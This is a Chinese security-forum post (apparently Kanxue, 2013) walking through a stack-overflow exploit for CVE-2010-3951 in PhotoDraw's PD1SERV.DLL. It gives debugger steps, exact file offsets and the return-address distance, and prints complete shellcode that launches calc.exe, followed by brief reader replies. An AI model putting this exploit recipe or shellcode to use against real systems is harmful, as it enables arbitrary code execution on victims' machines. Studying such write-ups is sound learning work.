首页
社区
课程
招聘
[新手]CVE-2010-3951漏洞利用例子
发表于: 2013-4-28 01:23 5488

[新手]CVE-2010-3951漏洞利用例子

2013-4-28 01:23
5488

新人自己动手实现漏洞利用,写下一些自己对漏洞的理解,有什么不正确的地方,希望大神们能多多指点。
使用到的工具:IDA,OD,十六进制编辑工具.

PhotoDraw中的PD1SERV.DLL组件在处理图片数据时没有判断写入数据长度,而出现了堆栈溢出漏洞,有心人可以利用此漏洞执行任意代码.

下面是PD1SERV.DLL组件中存在漏洞的函数.
signed int __thiscall sub_329863F1(void *this, int a2)
{
  int v2; // edi@1
  int v3; // eax@1
  int v4; // esi@1
  int v5; // eax@2
  unsigned int v6; // esi@6
  int v7; // ecx@9
  int v9; // [sp+Ch] [bp-118h]@7
  int v10; // [sp+10h] [bp-114h]@9
  char String[256]; // [sp+14h] [bp-110h]@9
  int v12; // [sp+114h] [bp-10h]@1
  void *v13; // [sp+118h] [bp-Ch]@1
  unsigned int v14; // [sp+11Ch] [bp-8h]@1
  int v15; // [sp+120h] [bp-4h]@1

  v13 = this;
  v2 = a2;
  v3 = *(_DWORD *)a2;
  v12 = 0;
  v15 = 0;
  v14 = 0;
  v4 = (*(int (__stdcall **)(int, unsigned int *, signed int, int *))(v3 + 12))(a2, &v14, 4, &a2);
  if ( v4 < 0 )
  {
    v5 = sub_32A30132(4);
    if ( v5 )
      *(_DWORD *)v5 = v4;
    else
      v5 = 0;
    v12 = v5;
    CxxThrowException(&v12, &unk_32C5C4A8);
  }
  if ( a2 == 4 )
  {
    v6 = 0;
    if ( v14 <= 0 )
      return 1;
    while ( (*(int (__stdcall **)(int, int *, signed int, int *))(*(_DWORD *)v2 + 12))(v2, &v9, 8, &v15) >= 0 )
    {
      if ( v15 != 8 )
        break;
      v7 = *(_DWORD *)v2;
      a2 = v10;
      if ( (*(int (__stdcall **)(int, _DWORD, int, int *))(v7 + 12))(v2, String, v10, &v15) < 0 )
        break;
      if ( v15 != a2 )
        break;
      if ( v6 || v9 )
        sub_32986372(v9, String);
      else
        sub_329033D5(String);
      ++v6;
      if ( v6 >= v14 )
        return 1;
    }
  }
  return 0;
}

在函数中有一个256字节的char型数组String,在处理数据时,没有经过判断数据长度,就写进入String数组中,而且写入的数据大小是由被处理数据的文件决定的.

漏洞位于PD1SERV.DLL文件中偏移0x863F1处..
首先安装Microsoft PhotoDraw。在安装路径找到PD1SERV.DLL,用ida打开PD1SERV.DLL文件,按“g”去到0x329863F1(加上模块基地址0x32900000).如下图:

双击String变量,就可以发现在它是一个数组,再按“*”键。

 就可以看到它是一个256字节的数组。下图:

返回到代码继续往下看,在0x3298648D处,可以看到这个call用到String数组作参数。然而这个call调用,地址是动态的,可以用OD打开来看看。
首先运行Microsoft PhotoDraw,随便新建一个文件(图片1.mix)保存好,

再重新运行Microsoft PhotoDraw,然后打开OD,在文件夹菜单中选择----附加,如下图:

进程附加进去后,Ctrl+G去到0x3298648D处,F2下个断点,再点运行图标,如下图:


然后双击刚才新建的“图片1.mix”,OD就断在了0X3298648D处,现在来看看此函数的参数,第三个参数就是String数组,在栈区右键第三个参数,选择数据窗口中跟随,下图:

按F8一下,发现0X12EDF0处一个字节的数据发生了改变,如果把这个函数当作一个写入数据的函数,那么第二个参数应该就是写入的大小,第三个参数就是写入的地址了。然而第二个参数不是给定的,是从一个局部变量(【ebp - 114】)处得来的。如下图:

那么我们关了OD,重新再把进程附加一遍,然后在0x329863F1处下个断点,再点运行,再双击“图片1.mix”现在已经断在0x329863F1处了,先按F8运行几步,让ebp重新赋了值,然后在数据窗口中按Ctrl+G到【ebp - 114】,在【ebp – 114】的数据处右键----断点-----内存写入(如下图),然后按F9让它运行。

现在已经断在一条REP MOVS DWORD PTR ES:[EDI], DWORD PTR DS:[ESI]指令处:

现在可以看到0x12EDEC(【ebp – 114】)的内容是从0x04A7AEBC处得来的。0x4A7AEBC是一个堆空间地址,那么它的内容也是从别的文件中写进来的,现在暂时不管它从哪里写进来的。我们再用同样的办法再找到String(【ebp – 110】)数组的内容是从哪里写进来的;结果发现在它是紧跟着前面0x4A7AEBC(再重新加载的时候可能不是0x4A7AEBC了,因为这是动态申请的堆空间,但是偏移量是一样的,就是0xAEBC)的地方写进来的,也就是说:如果地址0x4A7AEBC指向的内容是表示写入数据的大小,那么紧跟其后的0x4A7AEC0指向的内容就表示写入的数据了。
上面说到写入【ebp -114】的内容是0x4A7AEBC指向的数据,而0x4A7AEBC是动态改变的,但是偏移0xAEBC是不会改变的,那么就从0xAEBC入手,重新附加进程,再让它断在给变量0x12EDEC(【ebp – 114】)赋值的地方,再查看0x4A7AEBC的内容,如下图:


再用十六进制工具打开“图片1.mix”,去到偏移0xAEBC处,如上图,对比两张图片,发现数据是相同的。
最终得到结论:写入到String数组的数据,是由“图片1.mix”文件偏移0xAEC0处的数据决定的,而写入的大小则是在“图片1.mix”文件偏移0xAEBC处给定的。
      我们尝试更改这些数据,然后再用OD看看是否跟上面说的一样:
把0x AEBC处改成0x200(512字节),0xAEC0处开始的512字节全改为字母“E”。
让进程断在0x329863F1处,可以看到堆栈0x12EF04处保存的函数返回地址0x329862C1。

往下单步执行到0x3298648D处,可以看到此函数的第三个参数变成了200.

再F8一下,可以看到原来保存返回地址的0x12EF04处,已经被0x45454545给替换掉了:

当程序一直往下执行,执行了ret指令后,eip就变成了0x45454545了。
那么现在就可以植入shellcode了,我们知道String数组大小为256字节,跟在String数组后还申请了4个双字的变量,再加上一个push ebp指令的4个字节,可以算出从String数组开始往后276字节的地方就是函数的返回地址了,用一个跳板指令去覆盖原来的返回地址,再跟着植入shellcode
Shellcode来自看雪论坛的 failwest所著的《0day安全》。


Shellcode功能是弹出计算器。下面是shellcode代码:
int main()
{  
  _asm{
      nop
      nop
      
    
      
      nop
      nop
      nop
      CLD          ; clear flag DF
      ;store hash
      push 0x213bcb58    ;hash of ShellExecuteA
      push 0x4fd18963    ;hash of ExitProcess
      push 0x0c917432    ;hash of LoadLibraryA
      mov esi,esp      ; esi = addr of first function hash 
      lea edi,[esi-0xc]  ; edi = addr to start writing function 

      

      ; make some stack space
      xor ebx,ebx
      mov bh, 0x04        
      sub esp, ebx 
      

      
      ; push a pointer to "Shell32" onto stack 
      ;mov ebx, 3233     ; rest of ebx is null 

      push 0x32336c
      push 0x6c656853
      push esp 
      
      xor edx,edx

    ; find base addr of kernel32.dll 
      mov ebx, fs:[edx + 0x30]   ; ebx = address of PEB 
      mov ecx, [ebx + 0x0c]     ; ecx = pointer to loader data 
      mov ecx, [ecx + 0x1c]     ; ecx = first entry in initialisation order list 
      mov ecx, [ecx]         ; ecx = second entry in list (kernel32.dll) 
      mov ebp, [ecx + 0x08]     ; ebp = base address of kernel32.dll 
      
            
    find_lib_functions: 
    
      lodsd           ; load next hash into al and increment esi 
      cmp eax, 0x213bcb58    ; hash of ShellExecuteA - trigger 
                  ; LoadLibrary("Shell32") 
      jne find_functions 
      xchg eax, ebp       ; save current hash 
      call [edi - 0x8]     ; LoadLibraryA 
      xchg eax, ebp       ; restore current hash, and update ebp 
                  ; with base address of user32.dll 
      
      
    find_functions: 
      pushad             ; preserve registers 
      mov eax, [ebp + 0x3c]    ; eax = start of PE header 
      mov ecx, [ebp + eax + 0x78]  ; ecx = relative offset of export table 
      add ecx, ebp         ; ecx = absolute addr of export table 
      mov ebx, [ecx + 0x20]     ; ebx = relative offset of names table 
      add ebx, ebp         ; ebx = absolute addr of names table 
      xor edi, edi         ; edi will count through the functions 

    next_function_loop: 
      inc edi           ; increment function counter 
      mov esi, [ebx + edi * 4]   ; esi = relative offset of current function name 
      add esi, ebp         ; esi = absolute addr of current function name 
      cdq             ; dl will hold hash (we know eax is small) 
      
    hash_loop: 
      movsx eax, byte ptr[esi]
      cmp al,ah
      jz compare_hash
      ror edx,7
      add edx,eax
      inc esi
      jmp hash_loop

    compare_hash:  
      cmp edx, [esp + 0x1c]     ; compare to the requested hash (saved on stack from pushad) 
      jnz next_function_loop 
      
     
      mov ebx, [ecx + 0x24]     ; ebx = relative offset of ordinals table 
      add ebx, ebp         ; ebx = absolute addr of ordinals table 
      mov di, [ebx + 2 * edi]   ; di = ordinal number of matched function 
      mov ebx, [ecx + 0x1c]     ; ebx = relative offset of address table 
      add ebx, ebp         ; ebx = absolute addr of address table 
      add ebp, [ebx + 4 * edi]   ; add to ebp (base addr of module) the 
                    ; relative offset of matched function 
      xchg eax, ebp         ; move func addr into eax 
      pop edi           ; edi is last onto stack in pushad 
      stosd             ; write function addr to [edi] and increment edi 
      push edi 
      popad          ; restore registers 
                   ; loop until we reach end of last hash 
      cmp eax, 0x213bcb58
      jne find_lib_functions 

    function_call:

      xor ebx,ebx
      push ebx
  //ShellExecute(NULL,"open","calc.exe",NULL,NULL,SW_SHOWNORMAL);
      push 0x6578652e
      push 0x636c6163
      mov eax, esp    //"calc.exe"
      
      push ebx
      push 0x6e65706f    // "open"
      mov ecx, esp

      
      push 0x01      
      push ebx
      push ebx
      

      push eax  
      
      push ecx
      push ebx
      call [edi - 0x04] ; //call ShellExecute
      push ebx
      call [edi - 0x08] ; // call ExitProcess
      nop
      nop
      nop
      nop
  }
}

附件  漏洞poc: 图片1.rar

PhotoDraw的附件很大,上传不了,给个百度网盘的地址,想玩的下载来玩玩吧
0fdK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4m8S2L8W2)9J5k6h3u0S2K9h3c8#2i4K6u0W2j5$3!0E0i4K6u0r3M7$3S2S2M7X3g2Q4x3V1k6D9K9h3&6C8i4K6y4r3M7$3S2S2M7X3g2A6k6q4)9K6c8o6f1@1x3U0V1J5y4q4)9J5y4Y4g2C8i4K6y4p5y4e0l9#2y4K6t1%4x3o6f1^5


[培训]科锐逆向工程师培训第53期2025年7月8日开班!

上传的附件:
收藏
免费 6
支持
分享
最新回复 (13)
雪    币: 18
活跃值: (33)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
追随中...
2013-4-28 07:41
0
雪    币: 523
活跃值: (278)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
3
楼主大神。。。
2013-4-28 07:43
0
雪    币: 615
活跃值: (765)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
4
拜拜大神,搞到半夜的都是大神,
2013-4-28 08:19
0
雪    币: 239
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
mark~学习
2013-4-28 09:56
0
雪    币: 190
活跃值: (40)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
6
楼主大神。。。
2013-4-28 10:24
0
雪    币: 153
活跃值: (404)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
这本书一直在床头放着,还没看呢
2013-4-28 11:57
0
雪    币: 7271
活跃值: (5346)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
8
厉害。。。学习了
2013-4-28 12:26
0
雪    币: 160
活跃值: (1763)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
9
楼主能否分享一下漏洞挖掘方法
是一个文件一个的看,还是有什么技巧
2013-4-28 12:53
0
雪    币: 411
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
10
Fuzz吧^_^,一个文件一个文件的反汇编找漏洞会死人的
2013-4-28 13:07
0
雪    币: 136
活跃值: (65)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
11
这漏洞是已经发布了的,不是我分析得来了
2013-4-28 14:00
0
雪    币: 136
活跃值: (65)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
12
这是漏洞已经发布了的,不是我自己分析得来的
2013-4-28 14:02
0
雪    币: 9162
活跃值: (5126)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
值得学习,谢谢分享!
2013-4-28 15:03
0
雪    币: 7
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
这个要mark下,对以后学习shellcode的使用有好处,哈哈
2013-5-6 10:41
0
游客
登录 | 注册 方可回帖
返回